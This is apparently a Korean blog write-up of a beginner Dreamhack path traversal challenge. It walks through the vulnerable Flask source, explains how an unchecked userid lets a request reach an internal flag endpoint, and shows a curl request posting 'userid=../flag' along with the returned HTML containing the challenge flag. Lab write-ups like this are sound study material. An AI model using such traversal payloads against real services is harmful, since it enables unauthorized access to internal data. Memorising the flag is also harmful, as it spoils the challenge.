본문 바로가기

Dreamhack/웹해킹

[🌱Beginner] path traversal

📂 Path Traversal (경로 조작 취약점)

  • 정의: 사용자가 입력한 값을 이용해 파일이나 디렉토리 경로를 열 때, ../ 같은 상위 디렉토리 이동 기호를 악용하여 원래 접근하면 안 되는 파일에 접근하는 공격 기법.

처음 시작 화면은 밑의 사진처럼 되어있다. Get User info를 눌러보게 되면 아래와 같은 화면처럼 나오게 된다.

 

여기서 Userid에 guest(기본값)를 넣고 View를 누르게 되면 아래화면처럼 user에 대한 정보가 뜨게 되는 것인건가보다.

 

마찬가지로 Userid에 admin을 넣고 진행을 해보면 아래처럼 admin에 대한 정보가 뜨게된다.

 

이것만으로는 정보가 부족하니 문제 파일을 열어본다.

#!/usr/bin/python3
from flask import Flask, request, render_template, abort
from functools import wraps
import requests
import os, json

users = {
    '0': {
        'userid': 'guest',
        'level': 1,
        'password': 'guest'
    },
    '1': {
        'userid': 'admin',
        'level': 9999,
        'password': 'admin'
    }
}

def internal_api(func):
    @wraps(func)
    def decorated_view(*args, **kwargs):
        if request.remote_addr == '127.0.0.1':
            return func(*args, **kwargs)
        else:
            abort(401)
    return decorated_view

app = Flask(__name__)
app.secret_key = os.urandom(32)
API_HOST = 'http://127.0.0.1:8000'

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)

@app.route('/api')
@internal_api
def api():
    return '/user/<uid>, /flag'

@app.route('/api/user/<uid>')
@internal_api
def get_flag(uid):
    try:
        info = users[uid]
    except:
        info = {}
    return json.dumps(info)

@app.route('/api/flag')
@internal_api
def flag():
    return FLAG

application = app # app.run(host='0.0.0.0', port=8000)
# Dockerfile
#     ENTRYPOINT ["uwsgi", "--socket", "0.0.0.0:8000", "--protocol=http", "--threads", "4", "--wsgi-file", "app.py"]

🚨취약 코드 포인트

@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)
  • 사용자가 보낸 userid가 검증 없이 URL 경로에 이어붙습니다.
  • 최종 호출 URL: http://127.0.0.1:8000/api/user/<userid>
  • userid에 경로 조작(예: ../flag)을 넣으면 내부적으로 …/api/flag로 정규화되어 민감 엔드포인트를 치게 됩니다.

🚨 공격 요청

플래그는 /api/flag 에 존재하지만, 직접 접근은 막혀 있습니다. 따라서 userid=../flag 로 조작하여 내부 요청을 우회합니다.

curl -X POST "http://host1.dreamhack.games:18421/get_info" -d "userid=../flag"

📥 공격 결과

응답 HTML의 <pre> 부분을 확인하면, 내부 API에서 반환한 결과가 그대로 출력됩니다. 여기서 flag.txt 내용(플래그)이 노출되는 것을 확인할 수 있습니다.
(Dreamhack 웹 화면에서는 보이지 않아, 로컬 CMD 환경에서 직접 curl 요청으로 확인했습니다.)

<!doctype html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/bootstrap.min.css">
    <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
    <link rel="stylesheet" href="/static/css/non-responsive.css">
    <title>Get User Info Path Traversal</title>



  </head>
<body>

    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Path Traversal</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="#about">About</a></li>
            <li><a href="#contact">Contact</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav>

    <div class="container">

<h1>Get User Info</h1><br/>

  <pre>DH{8a33bb6fe0a37522bdc8adb65116b2d4}
</pre>

<form method="POST" id="form">
  <div class="form-group">
    <label for="userid">userid</label>
    <input type="text" class="form-control" id="userid" placeholder="userid" name="userid" value="guest" required>
  </div>
  <button type="submit" class="btn btn-default">View</button>
</form>
<script>
  const users = {
    'guest': 0,
    'admin': 1
  }
  function user(evt){
        document.getElementById('userid').value = users[document.getElementById('userid').value];
    return true;
  }
  window.onload = function() {
    document.getElementById('form').addEventListener('submit', user);
  }
</script>

    </div> <!-- /container -->

    <!-- Bootstrap core JavaScript -->
    <script src="/static/js/jquery.min.js"></script>
    <script src="/static/js/bootstrap.min.js"></script>
</body>
</html>

👉 결론적으로, 이번 문제는 ../ 입력을 통해 원래 의도된 경로를 벗어나 내부 플래그 파일에 직접 접근할 수 있었던 전형적인 Path Traversal 취약점 사례였다.

'Dreamhack > 웹해킹' 카테고리의 다른 글

[🌱Beginner] web-misconf-1  (0) 2025.08.19
[🌱Beginner] file-download-1  (0) 2025.08.18
(드림핵) blind-command  (0) 2025.04.02
SSRF  (0) 2025.04.01
Command Injection  (0) 2025.04.01